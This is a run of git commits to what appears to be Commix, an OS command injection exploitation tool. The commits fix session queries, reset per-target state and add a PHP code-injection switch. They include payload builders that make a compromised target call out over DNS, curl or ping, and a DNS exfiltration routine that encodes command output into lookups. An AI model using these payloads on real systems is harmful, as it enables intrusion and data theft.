url_params + ("shellshock injection technique",)) return cursor.fetchone() is not None except Exception: return False @@ -289,8 +312,8 @@ def applied_techniques(url, http_request_method): with _session_connection() as conn: table = table_name(url) + "_ip" if table_exists(conn, table): - query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() + query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + ";" + cursor = conn.execute(query, url_params).fetchall() for session in cursor: technique_info = session[0] letter = technique_letter(technique_info) @@ -314,8 +337,8 @@ def applied_levels(url, http_request_method): with _session_connection() as conn: table = table_name(url) + "_ip" if table_exists(conn, table): - query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE " + clause + ";" + cursor = conn.execute(query, url_params).fetchall() for session in cursor: http_header = session[0] level = int(session[1]) @@ -355,9 +378,9 @@ def has_any_stored_technique(url, http_request_method): if not table_exists(conn, table): return False cursor = conn.cursor() - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" - cursor.execute(query, (like_url, http_request_method)) + clause, url_params = url_match(url) + query = "SELECT technique FROM \"" + table + "\" WHERE " + clause + " AND http_request_method = ?;" + cursor.execute(query, url_params + (http_request_method,)) return any(not menu.options.tech or (technique_letter(row[0]) and technique_letter(row[0]) in menu.options.tech) for row in cursor.fetchall()) except (sqlite3.OperationalError, sqlite3.DatabaseError): return False @@ -385,9 +408,9 @@ def check_stored_injection_points(url, check_parameter, http_request_method): cursor = conn.cursor() # Fetch stored sessions for matching URL - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" - cursor.execute(query, (like_url,)) + base_url = split_url(url) + query = "SELECT * FROM \"" + table + "\" WHERE (url = ? OR url LIKE ? ESCAPE '\\');" + cursor.execute(query, (base_url, escape_like(base_url) + "?%")) sessions = cursor.fetchall() for session in sessions: @@ -408,11 +431,11 @@ def check_stored_injection_points(url, check_parameter, http_request_method): vuln_parameter = vuln_param or http_header session_url = session[1] - cookie = session[20] if len(session) > 20 else None - if cookie: - if settings.INJECT_TAG in cookie: - settings.COOKIE_INJECTION = True - menu.options.cookie = cookie + cookie = restore_option(session[20] if len(session) > 20 else None, settings.USER_APPLIED_COOKIE, "cookie") + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie if found: settings.LOAD_SESSION = True @@ -441,14 +464,18 @@ def load_stored_techniques(url, check_parameter, http_request_method): return stored cursor = conn.cursor() - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" - cursor.execute(query, (like_url, http_request_method)) + base_url = split_url(url) + query = "SELECT * FROM \"" + table + "\" WHERE (url = ? OR url LIKE ? ESCAPE '\\') AND http_request_method = ?;" + cursor.execute(query, (base_url, escape_like(base_url) + "?%", http_request_method)) for session in cursor.fetchall(): row = session[1:] technique, vuln_parameter, http_header = row[1], row[5], row[11] - if check_parameter not in (vuln_parameter, http_header) or not technique_letter(technique): + letter = technique_letter(technique) + if check_parameter not in (vuln_parameter, http_header) or not letter: + continue + # A technique this run was not asked to test is not resumed, nor reported as resumed. + if len(menu.options.tech) != 0 and letter not in menu.options.tech: continue stored[technique] = row return {_: stored[_] for _ in settings.TECHNIQUE_ORDER if _ in stored} @@ -469,8 +496,10 @@ def apply_stored_technique(row): if http_header: settings.HTTP_HEADER = http_header + cookie = restore_option(cookie, settings.USER_APPLIED_COOKIE, "cookie") if cookie: menu.options.cookie = cookie + data = restore_option(data, settings.USER_APPLIED_DATA, "POST data") if data: settings.IGNORE_USER_DEFINED_POST_DATA = False menu.options.data = data @@ -489,7 +518,8 @@ def apply_stored_technique(row): "which differs from the '--os' value provided now ('" + menu.options.os.title() + "'). Using the stored value to replay this technique consistently.") settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.TARGET_OS = target_os + # Stored as text, restored as one of the two values the rest of the code compares against. + settings.TARGET_OS = settings.OS.WINDOWS if target_os.lower() == settings.OS.WINDOWS else settings.OS.UNIX return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, @@ -505,10 +535,10 @@ def check_file_deleted(url, technique, vuln_parameter, http_request_method): if not table_exists(conn, table): return False cursor = conn.cursor() - like_url = "%" + escape_like(split_url(url)) + "%" - query = ("SELECT file_deleted FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND technique = ? AND " + clause, url_params = url_match(url) + query = ("SELECT file_deleted FROM \"" + table + "\" WHERE " + clause + " AND technique = ? AND " "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ? LIMIT 1;") - cursor.execute(query, (like_url, technique, vuln_parameter, vuln_parameter, http_request_method)) + cursor.execute(query, url_params + (technique, vuln_parameter, vuln_parameter, http_request_method)) row = cursor.fetchone() return bool(row and row[0]) except Exception: @@ -523,10 +553,10 @@ def mark_file_deleted(url, technique, vuln_parameter, http_request_method): table = table_name(url) + "_ip" if not table_exists(conn, table): return - like_url = "%" + escape_like(split_url(url)) + "%" - conn.execute("UPDATE \"" + table + "\" SET file_deleted = '1' WHERE url LIKE ? ESCAPE '\\' AND technique = ? AND " + clause, url_params = url_match(url) + conn.execute("UPDATE \"" + table + "\" SET file_deleted = '1' WHERE " + clause + " AND technique = ? AND " "(vuln_parameter = ? OR http_header = ?) AND http_request_method = ?;", - (like_url, technique, vuln_parameter, vuln_parameter, http_request_method)) + url_params + (technique, vuln_parameter, vuln_parameter, http_request_method)) conn.commit() except Exception: pass @@ -701,9 +731,9 @@ def export_valid_credentials(url, authentication_type): try: with _session_connection() as conn: table = table_name(url) + "_creds" - like_url = "%" + escape_like(split_url(url)) + "%" - query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND authentication_type = ?;" - cursor = conn.execute(query, (like_url, authentication_type)).fetchall() + clause, url_params = url_match(url) + query = "SELECT username, password FROM \"" + table + "\" WHERE " + clause + " AND authentication_type = ?;" + cursor = conn.execute(query, url_params + (authentication_type,)).fetchall() if cursor: return ":".join(cursor[0]) except (sqlite3.OperationalError, sqlite3.DatabaseError): diff --git a/src/utils/settings.py b/src/utils/settings.py index f88c5b2538..ebd07f565e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "121" +REVISION = "122" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -723,6 +723,8 @@ class OS(object): USER_APPLIED_WEB_ROOT = False # Whether '--auth-cred'/'--auth-type' were explicitly supplied on the CLI +USER_APPLIED_COOKIE = "" +USER_APPLIED_DATA = "" USER_APPLIED_AUTH_CRED = False USER_APPLIED_AUTH_TYPE = False @@ -1316,6 +1318,9 @@ def strip_ansi_codes(text): STORED_TECHNIQUES = {} # Pending file/tempfile-based cleanups, asked at quit() - keyed by output file path. PENDING_FILE_CLEANUPS = {} + +# Output files written on the target, listed once per target when it is done with. +LEFTOVER_FILES = [] # Findings confirmed this run, for the end-of-run summary. CONFIRMED_INJECTION_POINTS = [] # (prefix, suffix, separator, whitespace) confirmed by one technique, tried first by the others. @@ -1689,6 +1694,10 @@ class END_LINE: # Period after last-update to start nagging (about the old revision). NAGGING_DAYS = 31 +# Stamp of the stored-session layout, part of every table name so that entries written by an +# earlier layout are never read back into a newer one; bump it whenever that layout changes. +SESSION_MILESTONE_VALUE = "sBxrpPDiKF" + TARGET_URL = "" # Host:port (matches session_handler.table_name()'s hashing), unlike TARGET_URL above. TARGET_NETLOC = "" From e57f36e467039114b254cda0fd071e6aba0a9c5e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 12 Sep 2026 08:31:03 +0300 Subject: [PATCH 0781/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index ebd07f565e..25b6d9ff0e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "122" +REVISION = "123" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7896d71c6b7211258998c6f6fde1c6bc62671005 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 12 Sep 2026 08:32:13 +0300 Subject: [PATCH 0782/1023] The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||` --- doc/CHANGELOG.md | 1 + .../blind/techniques/oob/oob_payloads.py | 25 +++++++++++-------- src/core/injections/controller/checks.py | 20 +++++++++++++-- src/utils/settings.py | 2 +- 4 files changed, 34 insertions(+), 14 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8edbb8e9ad..5c7c11e65c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. * Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target. * Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point. * Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else. diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/injections/blind/techniques/oob/oob_payloads.py index 2c7fd6b9e8..406ba0b43e 100644 --- a/src/core/injections/blind/techniques/oob/oob_payloads.py +++ b/src/core/injections/blind/techniques/oob/oob_payloads.py @@ -79,7 +79,7 @@ def _python_prog(hostname, from_stdin=False, proof=""): """ Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. """ -def reach_command(transport, hostname, proof=""): +def reach_command(transport, hostname, proof="", separator=OR): if transport == "curl": return "curl -s " + _url(hostname, proof) if transport == "wget": @@ -88,7 +88,7 @@ def reach_command(transport, hostname, proof=""): return _python_prog(hostname, proof=proof) if transport == "dns": # Resolving the name is enough to prove execution, and needs no HTTP client at all. - return dns_lookup_command(hostname) + return dns_lookup_command(hostname, separator) if transport == "powershell": # 'iwr' only exists from PowerShell 3.0, while Net.WebClient goes back to 1.0. The URL keeps # the single quotes cmd.exe passes through untouched - a double quoted one arrives stripped of @@ -101,21 +101,24 @@ def reach_command(transport, hostname, proof=""): The command that makes the target resolve a name. On Windows 'nslookup' is always there. Elsewhere it is part of an optional package, so the ones a -host is likely to have instead follow it, each tried only if the one before it is missing - the -first that resolves the name stops the chain, and 'ping' comes last because it waits for a reply -that a host with no ICMP out will never get. +host is likely to have instead follow it, and 'ping' comes last because it waits for a reply that a +host with no ICMP out will never get. They are chained with the separator being tested, so a sink +that filters some other operator does not defeat the separator that would have worked; where there +is nothing to chain with, only the likeliest command is sent. """ -def dns_lookup_command(hostname): +def dns_lookup_command(hostname, separator=OR): if settings.TARGET_OS == settings.OS.WINDOWS: return "nslookup " + hostname - return ("nslookup " + hostname + OR + "getent hosts " + hostname + - OR + "host " + hostname + OR + "ping -c1 " + hostname) + commands = ["nslookup " + hostname, "getent hosts " + hostname, "host " + hostname, "ping -c1 " + hostname] + if not separator: + return commands[0] + return separator.join(commands) """ Out-of-band decision payload (check if host is vulnerable). """ def decision(separator, transport, hostname, proof="", prologue=""): - payload = separator + prologue + reach_command(transport, hostname, proof) + payload = separator + prologue + reach_command(transport, hostname, proof, separator) if settings.TARGET_OS != settings.OS.WINDOWS: payload = checks.append_custom_marker(payload, separator) # The payload ends on a hostname, so it is the part a sink's own trailing characters would land in. @@ -245,7 +248,7 @@ def heuristic_payload(channel, target_os): probes = [] for separator, transport in pairs: token, hostname = channel.new_payload() - parts.append(separator + reach_command(transport, hostname)) + parts.append(separator + reach_command(transport, hostname, separator=separator)) probes.append((token, transport)) payload = "".join(parts) payload = payload + (checks.WINDOWS_TAIL if target_os == settings.OS.WINDOWS else checks.UNIX_TAIL) @@ -343,7 +346,7 @@ def dns_exfil_command(hostname, cmd, separator=""): # the opening, or '$((' would be read as arithmetic instead of a subshell. return (settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.SINGLE_WHITESPACE + encoded + settings.CMD_SUB_SUFFIX + separator + "t=$(( (${#" + settings.RANDOM_VAR_GENERATOR + "} %2B " + str(DNS_CHUNK - 1) + ") / " + chunk + " ))" + separator + "i=1" + separator + "n=1" + separator + - "r(){ " + dns_lookup_command("$1") + separator + "}" + separator + + "r(){ " + dns_lookup_command("$1", separator) + separator + "}" + separator + "while [ $i -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "do " + "r $n-$t.$(echo $" + settings.RANDOM_VAR_GENERATOR + "|cut -c$i-$((i%2B" + str(DNS_CHUNK - 1) + ")))." + hostname + separator + "i=$((i%2B" + chunk + "))" + separator + "n=$((n%2B1))" + separator + "done") diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f3150820b6..7945d36e65 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1458,12 +1458,17 @@ def set_target_os(identified): if not identified: return identified = settings.OS.WINDOWS if re.search(r"microsoft|win", identified, re.IGNORECASE) else settings.OS.UNIX + previous = settings.TARGET_OS settings.TARGET_OS = identified settings.IDENTIFIED_TARGET_OS = True if menu.options.os: user_os = settings.OS.WINDOWS if menu.options.os.lower() == settings.OS.WINDOWS else settings.OS.UNIX if user_os != identified and identified_os(): settings.TARGET_OS = user_os + # A document root guessed before the operating system was settled is not one now. + if settings.TARGET_OS != previous and not settings.USER_APPLIED_WEB_ROOT and not settings.CUSTOM_WEB_ROOT: + if not web_root_matches_os(settings.WEB_ROOT): + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT = "" """ Decision if the user-defined operating system name, @@ -3714,6 +3719,16 @@ def finalize(exit_loops, no_result, i, total, injection_type, technique, shell): else: return False +""" +Whether a directory path belongs to the operating system currently in use - a root worked out for +one is not a path on the other, and offering it leads to a write that cannot land. +""" +def web_root_matches_os(path): + if not path: + return True + looks_windows = bool(re.match(r"\A[A-Za-z]:[\\/]", path)) + return looks_windows == (settings.TARGET_OS == settings.OS.WINDOWS) + """ Normalize a directory path for the target OS """ @@ -3735,8 +3750,9 @@ def normalize_target_dir(path): """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if not settings.CUSTOM_WEB_ROOT: - # Prefer the already-detected default over the generic one. - if settings.WEB_ROOT: + # Prefer the already-detected default over the generic one, but only while it still belongs to + # the operating system in use: the two disagree whenever that was settled after the root was. + if settings.WEB_ROOT and web_root_matches_os(settings.WEB_ROOT): default_root_dir = settings.WEB_ROOT elif settings.TARGET_OS == settings.OS.WINDOWS : default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] diff --git a/src/utils/settings.py b/src/utils/settings.py index 25b6d9ff0e..2094f4f2d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "123" +REVISION = "124" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2b0e51c26021bdb3db5bdc3f6eb12af668153ca9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 12 Sep 2026 08:35:57 +0300 Subject: [PATCH 0783/1023] Fixed per-target state resetting between targets to prevent state leakage --- src/core/main.py | 5 +++ src/utils/settings.py | 82 ++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 86 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 83d88ce16e..bdb42eabda 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -467,6 +467,9 @@ def scan_parsed_targets(os_checks_num): targets = settings.MULTI_REQUEST_TARGETS filename = None for target_num, target in enumerate(targets, start=1): + # What the last target turned out to be is dropped before this one is applied, so it starts + # from what the user asked for. + settings.reset_target_state(menu.options) parser.apply_target(target) url = menu.options.url http_request_method = checks.check_http_method(url) @@ -1356,6 +1359,7 @@ def _dedupe_lazy(iterable): # Reset the injection level if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) menu.options.url = form_url menu.options.data = form_data settings.USER_DEFINED_POST_DATA = form_data @@ -1427,6 +1431,7 @@ def _dedupe_lazy(iterable): # Reset the injection level if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: settings.INJECTION_LEVEL = 1 + settings.reset_target_state(menu.options) menu.options.url = url init_injection(url) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 2094f4f2d2..3c8238a214 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "124" +REVISION = "125" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1824,3 +1824,83 @@ class END_LINE: PCRE_MODIFIER = "/e" # eof + +""" +State that belongs to the run and not to any one target: what the user asked for on the command +line, what has already been answered once and should not be asked again, and the tallies kept +across every target. Everything else is taken back to what it held before the first target, so +that nothing worked out about one target is read as true of the next. A new name is per-target +unless it is listed here - the omission that used to leak is now the safe direction. +""" +RUN_WIDE_STATE = frozenset(( + # Asked for on the command line, or worked out from it before any target was touched. + "ABORT_CODE", "ALERT", "ANSWERS", "CHECK_FOR_UPDATES_ON_START", "CHECK_INTERNET", + "CHECK_INTERNET_ADDRESS", "CLI_HISTORY", "CONNECTION_ERROR_RETRIES", "COOKIE_PARAM_DELIMITER", + "DEFAULT_CODEC", "DEFAULT_CRAWLING_DEPTH", "DEFAULT_PAGE_ENCODING", "DELAY", "EXTRA_HTTP_HEADERS", + "HTTP_METHOD", "IGNORE_CODE", "INJECT_TAG", "KEEP_ALIVE", "LHOST", "LINUX_PYTHON_INTERPRETER", + "LPORT", "MAXLEN", "MAX_RETRIES", "METASPLOIT_PATH", "OOB_IGNORE_TIMEOUT", "OOB_POLL_INTERVAL", + "OOB_PORT", "OOB_SCHEME", "OOB_SERVER", "OOB_TOKEN", "OOB_TRANSPORT", "PERFORM_CRACKING", + "POST_CUSTOM_INJECTION_MARKER_CHAR", "PRE_CUSTOM_INJECTION_MARKER_CHAR", "RAW_HTTP_HEADERS", + "REPORT_JSON", "RHOST", "SKIP_CALC", "SKIP_PARAMETERS_LIST", "SKIP_TECHNIQUES", "SRVPORT", + "THREADS", "TIMEOUT", "TMP_PATH", "TOR_HTTP_PROXY_PORT", "URIPATH", "URL_PARAM_DELIMITER", + "URL_RELOAD", "USER_DEFINED_PHP_DIR", "USER_DEFINED_PYTHON_DIR", "USER_DEFINED_PYTHON_INTERPRETER", + "VERBOSITY_LEVEL", "WIN_PHP_DIR", "WIN_PYTHON_INTERPRETER", + "USER_APPLIED_AUTH_CRED", "USER_APPLIED_AUTH_TYPE", "USER_APPLIED_CMD", "USER_APPLIED_COOKIE", + "USER_APPLIED_DATA", "USER_APPLIED_LEVEL", "USER_APPLIED_RETRIES", "USER_APPLIED_TAMPER", + "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", + # Answered once by the user, and not worth asking again for every target. + "ADJUST_TIME_DELAY_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", "RECOGNISE_OS", + "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", + # Counted or noted for the run as a whole. + "CRAWLED_SKIPPED_URLS_NUM", "CRAWLED_URLS_INJECTED", "CRAWLED_URLS_NUM", "CRAWLING", + "CRAWLING_PHASE", "ENUMERATION_DONE", "FILE_ACCESS_DONE", "HANDLER", "HREF_SKIPPED", + "HTTP_ERROR_CODES_SUM", "IDENTIFIED_WARNINGS", "INIT_TEST", "LAST_DOT_BUCKET", "LAST_LOG_GROUP", + "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", + "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", + "SESSION_FILE", "SHOW_LOGS_MSG", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", + "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", + "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", + # Set by the connection to whichever target is in hand, before this reset can be reached. + "HOSTNAME", "SCHEME", "TARGET_NETLOC", "TARGET_URL", +)) + +""" +Options a target's own testing can change - a stored session replaces them, a technique settles a +directory - and which the next target is entitled to see as the user left them. +""" +RESTORED_OPTIONS = ("cookie", "data", "tamper", "os", "web_root", "tmp_path", "timesec", + "auth_cred", "auth_type", "level") + +_TARGET_STATE_BASELINE = {} +_OPTIONS_BASELINE = {} +# Only values that can be copied without carrying a live object along with them. +_COPYABLE = (str, int, float, bool, type(None), list, dict, set, tuple, frozenset) + +""" +Take the per-target state back to what it was before the first target was touched. The first call +records that baseline - at that point nothing has been learned yet - and every call after it +restores. Names listed in 'RUN_WIDE_STATE' are left alone. +""" +def reset_target_state(options=None): + import copy + if not _TARGET_STATE_BASELINE: + for name, value in list(globals().items()): + if not name.isupper() or name.startswith("_") or name in RUN_WIDE_STATE: + continue + if not isinstance(value, _COPYABLE): + continue + try: + _TARGET_STATE_BASELINE[name] = copy.deepcopy(value) + except Exception: + continue + if options is not None: + for name in RESTORED_OPTIONS: + if hasattr(options, name): + _OPTIONS_BASELINE[name] = copy.deepcopy(getattr(options, name)) + return + + for name, value in _TARGET_STATE_BASELINE.items(): + globals()[name] = copy.deepcopy(value) + if options is not None: + for name, value in _OPTIONS_BASELINE.items(): + setattr(options, name, copy.deepcopy(value)) From 216a4144b1510829ecdcf55e50d97022e76da9ff Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 12 Sep 2026 08:44:23 +0300 Subject: [PATCH 0784/1023] Trivial update --- README.md | 2 +- doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index e7a724872c..c206c2319a 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 015883540b..a0bd85a857 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index fcc660e6f4..9084d0c2ce 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index b28aeb3348..9474586464 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 4ee732e8ca..f35562b439 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index e03b5de175..e1571df531 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 00c61e53ea..9854930067 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,5 +1,5 @@ <p align="center"> - <img alt="CommixProject" src="https://commixproject.com/images/logo.png" height="140" /> + <img alt="CommixProject" src="https://commixproject.com/images/logo-header.png" height="120" /> </p> <div align="center"> From 9bd3224a03e4ea27b1e171ef303e353d163d3ac4 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 13 Sep 2026 10:57:08 +0300 Subject: [PATCH 0785/1023] Added new `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique` --- doc/CHANGELOG.md | 1 + src/core/eval/__init__.py | 37 ++++++ src/core/eval/php.py | 72 ++++++++++++ src/core/injections/controller/checks.py | 39 ++++++- src/core/injections/controller/controller.py | 57 +++++---- src/core/injections/controller/execution.py | 2 +- src/core/injections/controller/handler.py | 11 +- src/core/injections/controller/injector.py | 2 +- .../{eval_based => eval}/__init__.py | 0 .../{eval_based => eval}/eb_handler.py | 0 .../{eval_based => eval}/eb_injector.py | 0 .../{eval_based => eval}/eb_payloads.py | 9 +- src/core/main.py | 39 +++++++ src/core/requests/requests.py | 2 +- src/utils/menu.py | 13 +++ src/utils/session_handler.py | 20 +++- src/utils/settings.py | 110 +++++++++++------- 17 files changed, 329 insertions(+), 85 deletions(-) create mode 100644 src/core/eval/__init__.py create mode 100644 src/core/eval/php.py rename src/core/injections/results_based/techniques/{eval_based => eval}/__init__.py (100%) rename src/core/injections/results_based/techniques/{eval_based => eval}/eb_handler.py (100%) rename src/core/injections/results_based/techniques/{eval_based => eval}/eb_injector.py (100%) rename src/core/injections/results_based/techniques/{eval_based => eval}/eb_payloads.py (93%) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5c7c11e65c..ba93f24196 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `--eval` switch to test for code injection, optionally naming a language (e.g. `--eval="php"`), which combines with any technique given with `--technique`. * Fixed: The out-of-band (DNS) payloads chain their own commands with the separator being tested, instead of always with `||`. * Fixed: Several issues affecting the response-time model, the identification of the target's operating system, stored session data, and the files left on the target. * Fixed: Several issues affecting the parsing of the provided request data and the placement of the injection point. diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py new file mode 100644 index 0000000000..42142ed05d --- /dev/null +++ b/src/core/eval/__init__.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +What code injection looks like in each language commix can reach: how a payload breaks into a +string the application evaluates, how it closes again, and which of that language's own functions +run a command. It is the technique that decides how execution is proven, so none of this belongs +to one - a module here is used by whichever technique carries it. +""" + +from src.core.eval import php + +LANGUAGES = {php.NAME: php} + +""" +The languages that can be named with '--eval'. +""" +def supported(): + return tuple(sorted(LANGUAGES)) + +""" +The grammar for one language, or the only one there is where none was named. +""" +def grammar(language=None): + return LANGUAGES.get(language) or LANGUAGES[php.NAME] diff --git a/src/core/eval/php.py b/src/core/eval/php.py new file mode 100644 index 0000000000..3bac247c97 --- /dev/null +++ b/src/core/eval/php.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "php" + +# A call whose output says at once that code was 